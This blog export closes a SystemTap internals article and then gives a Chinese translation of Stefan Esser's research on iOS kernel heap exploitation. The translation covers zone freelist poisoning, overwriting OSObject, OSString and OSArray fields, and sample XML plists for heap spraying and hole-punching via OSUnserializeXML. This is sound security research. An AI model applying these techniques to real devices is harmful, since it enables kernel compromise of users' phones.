<h2 id="Store-Output（用户态-内核态交互，通讯）"><a href="#Store-Output（用户态-内核态交互，通讯）" class="headerlink" title="Store Output（用户态/内核态交互，通讯）"></a>Store Output（用户态/内核态交互，通讯）</h2><p>staprun加载内核模块之后，会exec一个stapio进程（<code>/usr/libexec/systemtap/</code>），跟加载后的内核模块通讯。内核模块会通过<code>debugfs_create_dir</code>和<code>debugfs_create_file</code>两个api创建一个<code>debugfs</code>下的“伪文件”。用户态程序可以通过读写这些“伪文件”来调用内核模块的制定函数。内核模块会创建<code>/sys/kernel/debug/systemtap/$module_name/trace%d</code>这样的文件用于数据流的传输。</p>
<p>stapio（用户态程序）跟内核模块交互，其实就是对文件进行读写。在<code>int stp_main_loop(void)</code>函数中会对不同的控制指令进行处理，<code>_stp_ctl_wire_cmd</code>函数中有对应的控制指令在内核态部分的处理逻辑。</p>
<h2 id="Stop-Unload（卸载）"><a href="#Stop-Unload（卸载）" class="headerlink" title="Stop/Unload（卸载）"></a>Stop/Unload（卸载）</h2><p>当满足以下两个条件之一时，straprun就会卸载内核模块：</p>
<ul>
<li>stap脚本执行到exit()函数</li>
<li>向stapio发送信号（比如ctrl+c）</li>
</ul>
<p>内核模块将要退出时（遇到exit()函数），会将<code>STP_REQUEST_EXIT</code>控制消息写入伪文件.cmd的buffer中。stapio读取控制流时，看到这个消息，就会相应对应的<code>STP_EXIT</code>。然后内核看到<code>STP_EXIT</code>消息，就会做相应的清理工作，之后再返回<code>STP_EXIT</code>给stapio。stapio接收到这个消息之后就会卸载内核模块。</p>
<p>如果是stapio收到退出信号（ctrl+c），就会向内核模块发送<code>STP_EXIT</code>消息，然后再卸载内核模块。</p>
<p>卸载内核模块是stapio通过创建执行卸载操作的staprun进程实行的，所以stapio实际还是只负责通讯。</p>
<hr>
<p>最后我们通过下面这张图来回顾一下systemtap的工作流程：</p>
<p><img src="/images/2020-12-07-Linux-%E5%8A%A8%E6%80%81%E8%B0%83%E8%AF%95-%E4%B9%8B-SystemTap%EF%BC%88%E5%8E%9F%E7%90%86%E7%AF%87%EF%BC%89/systemtap-how-works.png"></p>
<p>其中DWARF是指Linux的调试符号表格式。</p>
<p>有关systemtap的具体安装、使用、如何编写stp脚本等问题，请见我的下一篇文章<a href="">Linux 动态调试之 SystemTap（使用篇</a>）。</p>
<h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><p>[1] systemtap 探秘（一）- 基本介绍　<a href="https://segmentfault.com/a/1190000019566831">https://segmentfault.com/a/1190000019566831</a>  </p>
<p>[2] systemtap原理及使用　<a href="https://www.bbsmax.com/A/A7zgmEOP54/">https://www.bbsmax.com/A/A7zgmEOP54/</a>  </p>
<p>[3] SystemTap Kprobe原理　<a href="https://lzz5235.github.io/2013/12/18/systemtap-kprobe.html">https://lzz5235.github.io/2013/12/18/systemtap-kprobe.html</a>  </p>
<p>[4] 3.1 Systemp 简介　<a href="https://hotttao.github.io/2020/01/08/linux_perf/11_stap%E7%AE%80%E4%BB%8B/">https://hotttao.github.io/2020/01/08/linux_perf/11_stap%E7%AE%80%E4%BB%8B/</a></p>
<p>[5] kprobe原理解析（二）　<a href="https://www.cnblogs.com/honpey/p/4575902.html">https://www.cnblogs.com/honpey/p/4575902.html</a></p>
]]></content>
      <categories>
        <category>一些Tools</category>
      </categories>
  </entry>
  <entry>
    <title>（译）iOS Kernel Heap Armageddon —— Stefan Esser</title>
    <url>/64639042.html</url>
    <content><![CDATA[<h2 id="摘要"><a href="#摘要" class="headerlink" title="摘要"></a><strong>摘要</strong></h2><p>你所了解到的关于 iOS 内核堆利用的公开研究，最终都可以归结于对内核堆空间的分配，这个观点由 nemo 首先提出来。总而言之，这种分配将空间内的内核内存分成相同大小的内存块。通过利用重写堆元数据，可以向空间的空闲列表 (freelist) 中注入任意内存区。</p>
<a id="more"></a>

<p>在本文中，我们将首先概括关于内核堆空间分配的知识，像 nemo 和 Esser 之前所提到的那样。接着，我们将看一看其他的内核堆管理以及 Mac OSX 和 iOS 内核中的内存分配封装函数。在简单介绍这些封装函数之后，我们将进一步介绍这些分配器在最新版本 iOS 5 之后的改变。本文将继续介绍内核层的应用数据重写与直接攻击分配器的空闲列表区之间的差异。最后将展示一种普遍的技术：为了实现内核堆利用，通过执行内核堆喷射 (heap spraying) ，来控制内核堆布局的布局。</p>
<h2 id="内核堆空间分配"><a href="#内核堆空间分配" class="headerlink" title="内核堆空间分配"></a><strong>内核堆空间分配</strong></h2><p>对于 Mac OSX 以及越狱的苹果手机，有一种可用的工具叫做 zprint ，它可以查看由内核堆分配器注册的内核内存空间。<br>例如：</p>
<p><img src="/images/2016-08-29-%E8%AF%91-iOS-Kernel-Heap-Armageddon/%E5%9B%BE1.png"></p>
<p>这些信息都是由内核 API 函数 host_zone_info 以及 mach_zone_info 提供的。当涉及到构造内核堆利用方法时，这些 API 函数都非常有用，因为它们可以检索每个内核空间的详细信息，比如分配的块的数量，空闲内存块的数量等。Sotirov提到：后者对于控制内核堆（又称为堆风水）技术非常有用。但是根据苹果 iOS 6 的介绍，为了防止内核 API 函数被用于工厂 设备iPhone ，这条路已经被关闭了。现在调用 PE_i_can_haz_debugger 函数，在越狱机以及特殊的苹果内部调试设备、通过苹果可能有的特殊调试虚拟磁盘启动的设备上，只会返回 true。不管怎样，以后的内核堆利用已经不能再依赖这些函数了。</p>
<p>为了弄清楚内核堆分配器是如何工作的，我们可以通过下面的图表了解，这些图表将会一步步记录其内部的运行。分配器将内核内存分成了许多空间，每个空间包含了同样大小的内存块。它首先在空间内分配一大块内存（通常是一个单独的内存页）。</p>
<p><img src="/images/2016-08-29-%E8%AF%91-iOS-Kernel-Heap-Armageddon/%E5%9B%BE2.png"></p>
<p>所有的内存都在这个空间里，然后它被分为大小相同的块。在这个例子中，每块内存正好为 512bytes 。</p>
<p><img src="/images/2016-08-29-%E8%AF%91-iOS-Kernel-Heap-Armageddon/%E5%9B%BE3.png"></p>
<p>内存管理器用每个空闲内存块的 4 个首字节作为指向另一个内存块的指针。如下图所示：</p>
<p><img src="/images/2016-08-29-%E8%AF%91-iOS-Kernel-Heap-Armageddon/%E5%9B%BE4.png"></p>
<p>空间分配器创建了一个空闲内存块链表，即空闲列表。它是一个后进先出的列表，在链表内，每个元素都指向下一个元素。因为在新的内存页里的第一个空闲内存块首先被添加，正如下图所示，空闲内存将会被反序利用。</p>
<p><img src="/images/2016-08-29-%E8%AF%91-iOS-Kernel-Heap-Armageddon/%E5%9B%BE5.png"></p>
<p>某特定空间的最后一个元素被添加到空闲列表后，当内存被分配给这个特定空间时，该元素也被称为空闲列表头部，同时作为分配内存块标识返回。返回新分配的内存之后，空闲列表中下一个元素的指针从内存块的首4字节读取。指针读取成为新的自由列表头部。它指向的内存块将会因此成为下一个返回值。这个原则由下图证实。</p>
<p><img src="/images/2016-08-29-%E8%AF%91-iOS-Kernel-Heap-Armageddon/%E5%9B%BE6.png"></p>
<p>现在我们知道了堆空间分配的基本机制，接下来我们介绍一下如何利用这种内存分配。我们发现，两个相邻的内存块，第一个为分配缓存区，第二个为空闲内存块，缓存区溢出将会导致堆元数据被覆盖。</p>
<p><img src="/images/2016-08-29-%E8%AF%91-iOS-Kernel-Heap-Armageddon/%E5%9B%BE7.png"></p>
<p>如果攻击者控制了缓存区溢出的数据，那么他完全可以控制空闲列表中指向下一个元素的指针。如上所述的分配将会返回被重写的内存块，使得攻击者控制空闲列表的头部指针。之后分配器将会返回一个被攻击者控制的内存块。在公开的 iOS 内核堆利用中，这种技术被用来返回位于系统调用表中间的一块内存。通过强制内核分配一块内存，并用被攻击者控制的数据覆盖，这种方式可以替换任意系统调用处理程序，并实现任意内核代码执行。</p>
<p>据了解， iOS 6 的测试版在内核堆分配器中添加了一些内存标签，虽然一般来说，它不阻止攻击空闲列表，但是阻止公开地使用攻击，因为它只允许向内核的空闲列表中注入内存块，但是这样也已经完全在攻击者的控制之下了。</p>
<h2 id="其他内核堆内存管理和封装器"><a href="#其他内核堆内存管理和封装器" class="headerlink" title="其他内核堆内存管理和封装器"></a><strong>其他内核堆内存管理和封装器</strong></h2><p>Mac OSX 和 iOS 内核包含了许多其他的内核堆内存管理以及封装。下图展示了其中一部分的封装和内存管理。</p>
<p><img src="/images/2016-08-29-%E8%AF%91-iOS-Kernel-Heap-Armageddon/%E5%9B%BE8.png"></p>
<p>在本节中，我们将介绍几个提到的分配器和封装，并讨论它们的属性以及利用。</p>
<hr>
<ul>
<li>kalloc()</li>
</ul>
<p>kalloc() 是用来封装 zalloc() 以及 kmem_alloc() 的。它在小分配时使用 zalloc() ，较大的内存请求时使用 kmem_alloc() 。它没有任何额外的堆元数据。因此，需要调用者记住分配的内存大小，当稍后内存使用 kfree() 释放时要求使用相同大小的值。</p>
<p>存储在内核空间的数据由内存管理器注册一个空间号码，这个号码为 kalloc.xxx ，xxx 即为 kalloc 空间大小。在 iOS 5 中可使用 zprint 工具得到以下空间。(译者注：在OS X 10.11 及以上系统可在 root 权限下使用 zprint | grep kalloc 命令)</p>
<p><img src="/images/2016-08-29-%E8%AF%91-iOS-Kernel-Heap-Armageddon/%E5%9B%BE9.png"></p>
<p>可以从中发现，这个内核空间是在 8 到 8192 之间的每2倍大小再加上一些额外的空间值，这些额外值的大小是2倍之间可被8整除的数。比如 kalloc.24, kalloc.40, kalloc.48, kalloc.88, kalloc.112, kalloc.192, kalloc.384, kalloc.768, kalloc.1536, kalloc.3072 以及 kalloc.6144 。在 iOS 5 之前，这些 kalloc 空间并不存在，且最小的空间为 16 。这种增加空间的变化可能是为了减少内存浪费，以便使得最常用的分配越来越合适。</p>
<hr>
<ul>
<li>kfree()</li>
</ul>
<p>在跳转到下一个封装之前，还有一些值得注意的地方，kfree() 函数。正如之前所提到的那样，调用者需要记住需要释放的块的大小，否则 kfree() 不知道 zfree() 或 kmem_free() 是否被调用，以及需要向内存返回多大的空间。内存管理器除了保持对较大的分配内存块的跟踪之外，对于释放一个比之前所记忆值大的块的尝试将会被忽略。这是一个简单的保护机制防止二次释放。</p>
<hr>
<ul>
<li>_MALLOC()</li>
</ul>
<p>_MALLOC() 是一个对 kalloc() 函数的封装。对于分配的内存块它预先留下一个简短的头部，存储分配的大小。这种通过 _MALLOC() 进行内存分配的方式，在内核代码中可以在不需要保持对块大小的跟踪的情况下释放。下图是一个通过系统调用的内存分配例子。</p>
<p><img src="/images/2016-08-29-%E8%AF%91-iOS-Kernel-Heap-Armageddon/%E5%9B%BE10.png"></p>
<p>0字节的分配是特例。_MALLOC() 会简单拒绝这样的分配并返回一个空指针。目前尚不知道为什么苹果不返回一个最小大小的分配值，因为分配 0 字节是可以在合理条件下发生的。用大小作为头部有两个缺点，第一为了确定分配的大小，它要求有整数加法，第二当重写导致可执行的情况，它相当于额外的堆元数据。</p>
<p>当看到 iOS 4 中的 XNU源代码树中的源代码，可以发现 _MALLOC() 中整数加法的危险是显而易见的。正如下面代码所示，苹果并没有设定在 iOS 4 以及 Mac OSX 中的整数溢出，这将会导致许多可能的内核堆错误。</p>
<p><img src="/images/2016-08-29-%E8%AF%91-iOS-Kernel-Heap-Armageddon/%E5%9B%BE11.png"></p>
<p>但是在 iOS 5 的 release 版本之前，苹果研究了可能的整数溢出并关闭了它。代码改为捕捉整数溢出，防止在非阻塞情况下，溢出流返回空指针。但是在阻塞情况下，可以看到触发了内核 panic。</p>
<p><img src="/images/2016-08-29-%E8%AF%91-iOS-Kernel-Heap-Armageddon/%E5%9B%BE12.png"></p>
<p>包含了额外大小字段的内存块头部，对于重写来说，是一个非常有趣的目标，因为通过重写它，内存管理器可以被欺骗去释放错误区域的空闲列表中的内存块。如果大小被重写为一个更小的值，这个块也将会被添加到更小尺寸的块的空闲列表中。这不会导致内存错误，但将会导致内存泄漏，因为稍长的那部分永远不会被覆盖。同样，如果一个较大的尺寸被写入头部，这个块也会被添加到较大尺寸块的自由列表中。这样将会导致内存错误，因为内核分配相信块比实际尺寸大，而这将会导致它在填满时覆盖到相邻的内存。</p>
<h2 id="内核堆应用数据重写"><a href="#内核堆应用数据重写" class="headerlink" title="内核堆应用数据重写"></a><strong>内核堆应用数据重写</strong></h2><p>考虑到苹果正在硬化空间分配器，一些内存分配器也将不再会有流入的堆元数据可以被覆盖，因此我们将要介绍一种有攻击性且有趣的存储在堆上的内核应用数据。本节的剩余部分，我们将使用内核层的 C++ 对象作为这种有趣的可以被广泛使用的应用数据的示例。</p>
<p>在 iOS 内核中的 libkern 实现了一个 C++ 运行时子集。它允许内核驱动程序用 C++ 写，其中 IOKit 驱动使用最为频繁。这太有意思了，因为它为 iOS 内核带来了 C++ 类的漏洞。但是对于我们来说，只有在内存布局中的类是有意义的</p>
<p>下图展示了一个支持 iOS 内核的 C++ 运行时以及继承的基本对象的概述：</p>
<p><img src="/images/2016-08-29-%E8%AF%91-iOS-Kernel-Heap-Armageddon/%E5%9B%BE13.png"></p>
<p>正如你所看见的，所有的这些类都是由基类 OSObject 分发而来的。接下来我们将要更进一步查看这些类的内存排布。可以看到 OSObject 由一个 vtable ptr 和一个引用计数器组成：</p>
<p><img src="/images/2016-08-29-%E8%AF%91-iOS-Kernel-Heap-Armageddon/%E5%9B%BE14.png"></p>
<p>vtable ptr 指向内核的数据段，即对象的方法表的存储位置。另一方面，引用计数器要稍微复杂一点。它是一个将 16bit 引用计数存储在低 16 位的 32bit 值。用高 16 位计数对象在集合中的频率，作为第二参考计数。貌似设计的最初目的是用来调试，因为集合计数看起来只能用来验证正常引用计数不低于集合计数。如果是这样，则任何情况都能导致内核 panic 被触发。引用计数器特别的一点是它有一个内置的整数溢出保护。如果引用计数器的值达到65534，则计数器将会被冻结，意味着它将既不会增加，也不会再减少。因此该对象不再可以被破坏，它的内存也不会被释放。</p>
<p>为了明白 iOS 内核对象重写是如何被利用的，首先需要弄清楚在内存中一个 OSObject 的每个部分被重写的影响。如果可以重写 vtable ptr，则可以改变用于查找对象方法的表中的地址。一旦这个指针被重写了对象上的每一个执行操作，将会导致任意内核代码执行。如果引用计数器被重写，将会允许将引用计数器设置为一个小于现有的实际引用计数的值。同时允许释放之前的对象，这将会导致一种典型用法，即通过悬挂引用引起的任意利用。一旦释放了下一个相同大小的分配内存，则对象的内容将会被完全替换。</p>
<p>在 iOS 内核中， OSObject 是一个最简单的 C++ 对象。其他对象比如 OSString 则更复杂一些，包含有更多数量或者更多不同类型的属性。进一步分析它们的内存布局也将会因此变得有趣。首先，让我们看看 OSString 对象，它的内存布局如下图所示。</p>
<p><img src="/images/2016-08-29-%E8%AF%91-iOS-Kernel-Heap-Armageddon/%E5%9B%BE15.png"></p>
<p>除了 OSObject 中已知的属性外，flags，length 和 string ptr 三个是新增的。flags 只是控制对象内部的字符串指针是否在其被销毁时释放。这通常只在其他的字段同时被重写时有用。更有用一点的是 length 字段。如果字符串的长度被改变为一个大于原始值的数值，则会导致内核堆信息泄漏或者破坏的内存错误。内存错误是由于长度太大，进而导致长度较小的内存块被添加到错误的内核堆空间的空闲列表里。如果被释放的内存在之后重新分配，则返回的指针将会指向一个实际小于预期的内存块。当内核中的这个小内存块被数据填满时，多余的数据则会重写到相邻的内存中。最后一个字段可以被字符串指针自身重写。同样，该指针被重写，也会导致内核堆信息泄漏或者破坏的内存错误。这种情况下，攻击者可以向特殊空间的空闲列表注入一段任意内存地址，一旦那段内存被内核重新分配然后填满，将导致内存破坏。</p>
<p>另外一个有意思的重写对象是 OSArray 。它包括了更多的属性，因此也提供了一些新的有趣的重写可能性。让我们看一下 OSArray 对象的内存布局：</p>
<p><img src="/images/2016-08-29-%E8%AF%91-iOS-Kernel-Heap-Armageddon/%E5%9B%BE16.png"></p>
<p>updateStamp, reserved 以及 fOptions 字段对于重写来说没有什么用处，因为它们不能导致有用的可利用的场景。但是其他的字段都可以。count, capacity 和 capacityIncrement 字段都是由 kalloc() 分配的内存的值。重写这些值将会混淆内存，使得它分配或者再分配错误数量的内存。这种做法将会导致内核堆信息泄漏或者破坏的内存错误。最后一个字段 array ptr 是来自于 OSObject 的对象指针。重写它使得内核可以访问任意构造的对象，从而导致内核里的任意代码执行。另一种攻击是直接重写存储数据的内存块。</p>
<p>我们对于 重写 iOS 内核的 C++ 对象的内存布局，以及由此产生的可行性做了一个简单概述。记住这些信息，在下一节中，我们将利用这些对象来填充 iOS 内核堆并控制它的布局。</p>
<h2 id="控制-iOS-内核堆"><a href="#控制-iOS-内核堆" class="headerlink" title="控制 iOS 内核堆"></a><strong>控制 iOS 内核堆</strong></h2><p>要成功利用内核堆错误，则要求将内核堆从一个未知起点通过可控制的方式指向一个可预测的状态。对于这个需求，有很多不同的技术方法。其中最简单的方法叫做堆喷射 ( heap spraying ) ，即使用特殊的数据通过重复触发相同的分配来填充内存，直到内存中很大比例都被这种模式充满（或者触发另一个终止条件）。为了实现堆喷射，要求有一个分配基元来重复执行。由于这种技术早在 2001 年之前就已经开始使用，所以谁是堆喷射的最初发明者尚未可知。</p>
<p>A.Sotirov 在2007年提出了一个更复杂更好的用来控制堆状态的技术，叫做堆风水。在他的黑帽子谈话中，他描述了如何从未知状态的堆得到被控制的内存布局。首先需要重复分配内存来填充堆中的空洞。一旦所有的空洞都被封闭了，则进一步的分配将会使得彼此相邻。在这些相邻的区域释放内存块，将会在可控位置戳一些洞，使得接下来的分配都在这些洞的位置上。这种方式可以控制堆布局，即溢出缓存区将会正好溢出我们想要溢出的数据。当然，实现一个堆风水技术也要比堆喷射更复杂，它不仅需要一个分配基元，还需要一个回收基元。</p>
<p>在以前的公开 iOS 内核利用中，分配以及回收基元通常是特殊的，且依赖于实际的开发功能。在此，我们将介绍一个更为通用的方法，可以在没有易被攻击的特殊分配和回收基元的条件下，控制内核堆。</p>
<p>iOS 内核有一个非常有趣的函数叫做 OSUnserializeXML()。它由许多 IOKit API 中的函数来调用，被用于将对象从用户空间传送到内核空间。这个函数以 XML.plist 的格式 提供一个输入，可以是数字，布尔量，字符串，数据，字典，数组，集合和引用。下面是一个 XML plist 的例子。</p>
<figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">plist</span> <span class="attr">version</span>=<span class="string">&quot;1.0&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">dict</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">key</span>&gt;</span>IsThere<span class="tag">&lt;/<span class="name">key</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">string</span>&gt;</span>one technique to rule them all?<span class="tag">&lt;/<span class="name">string</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">key</span>&gt;</span>Answer<span class="tag">&lt;/<span class="name">key</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">true</span> /&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">key</span>&gt;</span>Audience<span class="tag">&lt;/<span class="name">key</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">string</span>&gt;</span>meet OSUnserializeXML()<span class="tag">&lt;/<span class="name">string</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dict</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">plist</span>&gt;</span></span><br></pre></td></tr></table></figure>

<p>通过构建这样一个 XML.plist 数据包，可以在内存中创建任意对象集合，以及在所有大小和形状中，分配任意数量的不同类型的对象。我们可以用它来控制内核堆，以任何我们喜欢的方式。下表是一个基本对象的内存大小的备忘清单。</p>
<p><img src="/images/2016-08-29-%E8%AF%91-iOS-Kernel-Heap-Armageddon/%E5%9B%BE17.png"></p>
<p>现在我们来看一下如何构造 XML 数据，使其实现堆喷射和堆风水。</p>
<hr>
<ul>
<li>重复分配</li>
</ul>
<p>我们首先需要做的是分配任意大小任意数量的内存块。不幸的是，在 XML.plist 数据块内部进行循环是不可能的。但是也没有限制，因此我们可以按照我们的想法分配尽可能多的数据。</p>
<figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">plist</span> <span class="attr">version</span>=<span class="string">&quot;1.0&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">dict</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">key</span>&gt;</span>ThisIsOurArray<span class="tag">&lt;/<span class="name">key</span>&gt;</span></span><br><span class="line">     <span class="tag">&lt;<span class="name">array</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">string</span>&gt;</span>again and<span class="tag">&lt;/<span class="name">string</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">string</span>&gt;</span>again and<span class="tag">&lt;/<span class="name">string</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">string</span>&gt;</span>again and<span class="tag">&lt;/<span class="name">string</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">string</span>&gt;</span>again and<span class="tag">&lt;/<span class="name">string</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">string</span>&gt;</span>again and<span class="tag">&lt;/<span class="name">string</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">string</span>&gt;</span>again and<span class="tag">&lt;/<span class="name">string</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">string</span>&gt;</span>...<span class="tag">&lt;/<span class="name">string</span>&gt;</span></span><br><span class="line">     <span class="tag">&lt;/<span class="name">array</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dict</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">plist</span>&gt;</span> </span><br></pre></td></tr></table></figure>

<p>这个示例使用一个数组对象，并填充任意数量的字符串。为了做一个内核堆喷射，我们只需要构建一个非常庞大的 XML 数据对象，并传给一个合适的 IOKit API 函数。</p>
<hr>
<ul>
<li>分配受攻击者控制的数据</li>
</ul>
<p>在 iOS 内核堆喷射中，使用字符串数据对象的缺点是，不能包含空字节。因此，用完全任意数据结构的字符串对象来实现堆喷射是不可行的。不过我们还有数据对象可以施以援手。由于数据是 base64 编码的，所以它允许创建任意数据结构，没有字符值的限制。另外，内核也支持简单的 16 进制。比如下面的例子。</p>
<figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">plist</span> <span class="attr">version</span>=<span class="string">&quot;1.0&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">dict</span>&gt;</span></span><br><span class="line">       <span class="tag">&lt;<span class="name">key</span>&gt;</span>ThisIsOurData<span class="tag">&lt;/<span class="name">key</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">array</span>&gt;</span></span><br><span class="line">              <span class="tag">&lt;<span class="name">data</span>&gt;</span>VGhpcyBJcyBPdXIgRGF0YSB3aXRoIGEgTlVMPgA8+ADw=<span class="tag">&lt;/<span class="name">data</span>&gt;</span></span><br><span class="line">              <span class="tag">&lt;<span class="name">data</span> <span class="attr">format</span>=<span class="string">&quot;hex&quot;</span>&gt;</span>00112233445566778899aabbccddeeff<span class="tag">&lt;/<span class="name">data</span>&gt;</span></span><br><span class="line">              <span class="tag">&lt;<span class="name">data</span>&gt;</span>...<span class="tag">&lt;/<span class="name">data</span>&gt;</span></span><br><span class="line">       <span class="tag">&lt;/<span class="name">array</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dict</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">plist</span>&gt;</span> </span><br></pre></td></tr></table></figure>

<p>数据对象类型也更方便，因为它读取到4049块中，因此在解码 XML 时，它在我们感兴趣的内存空间中不分配块。通过结合数组和数据，我们可以执行内核水平的堆喷射。堆风水需要更多的控制条件，接下来我们会提到。</p>
<hr>
<ul>
<li>用应用数据填充任意大小的内存块</li>
</ul>
<p>对于堆风水，我们不仅需要分配任意大小的内存块，还需要在重写导致的任意代码执行时，分配被数据填充的任意大小内存块。对于此，我们再次使用数据对象类型（当然也可以使用字典对象类型）。</p>
<figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">plist</span> <span class="attr">version</span>=<span class="string">&quot;1.0&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">dict</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">key</span>&gt;</span>ThisArrayAllocates_4_Bytes<span class="tag">&lt;/<span class="name">key</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">array</span>&gt;</span></span><br><span class="line">              <span class="tag">&lt;<span class="name">true</span> /&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">array</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">key</span>&gt;</span>ThisArrayAllocates_12_Bytes<span class="tag">&lt;/<span class="name">key</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">array</span>&gt;</span></span><br><span class="line">              <span class="tag">&lt;<span class="name">true</span> /&gt;</span><span class="tag">&lt;<span class="name">true</span> /&gt;</span><span class="tag">&lt;<span class="name">true</span> /&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">array</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">key</span>&gt;</span>ThisArrayAllocates_28_Bytes<span class="tag">&lt;/<span class="name">key</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">array</span>&gt;</span></span><br><span class="line">              <span class="tag">&lt;<span class="name">true</span> /&gt;</span><span class="tag">&lt;<span class="name">true</span> /&gt;</span><span class="tag">&lt;<span class="name">true</span> &gt;</span><span class="tag">&lt;<span class="name">true</span> /&gt;</span><span class="tag">&lt;<span class="name">true</span> /&gt;</span><span class="tag">&lt;<span class="name">true</span> /&gt;</span><span class="tag">&lt;<span class="name">true</span> /&gt;</span></span><br><span class="line">       <span class="tag">&lt;/<span class="name">array</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dict</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">plist</span>&gt;</span></span><br></pre></td></tr></table></figure>

<p>在这个示例中，我们使用分配的数组来填充内存，并指向布尔对象。布尔量不会是单独的分配内存的对象。相反，它们会增加一个 global true 对象的引用计数。如果通过重写它向内核提供我们精心设计的对象，则会导致任意代码执行。字典对象类型可用于这种攻击。不同的是，在这个例子中，单个对象指针的乘数为 4，在字典中是 8，因为存储了 键值 (key) 和数值 (value) 对象的指针。</p>
<hr>
<ul>
<li>在分配区域戳洞</li>
</ul>
<p>实现对内核堆完全控制的最后一件事是不仅需要分配任意大小的内存块，还需要能够在这些分配中戳任意大小的洞。在字典对象的帮助下，我们可以了解如何在已分配的内存中戳洞，请看下面的示例。</p>
<figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">plist</span> <span class="attr">version</span>=<span class="string">&quot;1.0&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">dict</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">key</span>&gt;</span>AAAA<span class="tag">&lt;/<span class="name">key</span>&gt;</span></span><br><span class="line">      <span class="tag">&lt;<span class="name">data</span>&gt;</span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<span class="tag">&lt;/<span class="name">data</span>&gt;</span></span><br><span class="line">   <span class="tag">&lt;<span class="name">key</span>&gt;</span>BBBB<span class="tag">&lt;/<span class="name">key</span>&gt;</span></span><br><span class="line">      <span class="tag">&lt;<span class="name">data</span>&gt;</span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<span class="tag">&lt;/<span class="name">data</span>&gt;</span></span><br><span class="line">   <span class="tag">&lt;<span class="name">key</span>&gt;</span>CCCC<span class="tag">&lt;/<span class="name">key</span>&gt;</span></span><br><span class="line">      <span class="tag">&lt;<span class="name">data</span>&gt;</span>ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ<span class="tag">&lt;/<span class="name">data</span>&gt;</span></span><br><span class="line">   <span class="tag">&lt;<span class="name">key</span>&gt;</span>DDDD<span class="tag">&lt;/<span class="name">key</span>&gt;</span></span><br><span class="line">      <span class="tag">&lt;<span class="name">data</span>&gt;</span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<span class="tag">&lt;/<span class="name">data</span>&gt;</span></span><br><span class="line">   <span class="tag">&lt;<span class="name">key</span>&gt;</span>EEEE<span class="tag">&lt;/<span class="name">key</span>&gt;</span></span><br><span class="line">      <span class="tag">&lt;<span class="name">data</span>&gt;</span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<span class="tag">&lt;/<span class="name">data</span>&gt;</span></span><br><span class="line">   <span class="tag">&lt;<span class="name">key</span>&gt;</span>CCCC<span class="tag">&lt;/<span class="name">key</span>&gt;</span></span><br><span class="line">      <span class="tag">&lt;<span class="name">true</span> /&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dict</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">plist</span>&gt;</span></span><br></pre></td></tr></table></figure>

<p>在这个例子中，可以看到键值 CCCC 被设定了两次。第一次是插入到字典中，第二次更新键值的数值，且前一个值已被破坏。这个数据对象的破坏将会释放该数值对象本身，以及释放由 base64 编码重复的 Z 字符所组成的数值。我们也因此在内存中有效地戳了一个洞。拼图的最后一块是你构建的用于控制堆的 XML.plist 文件是没有问题的。</p>
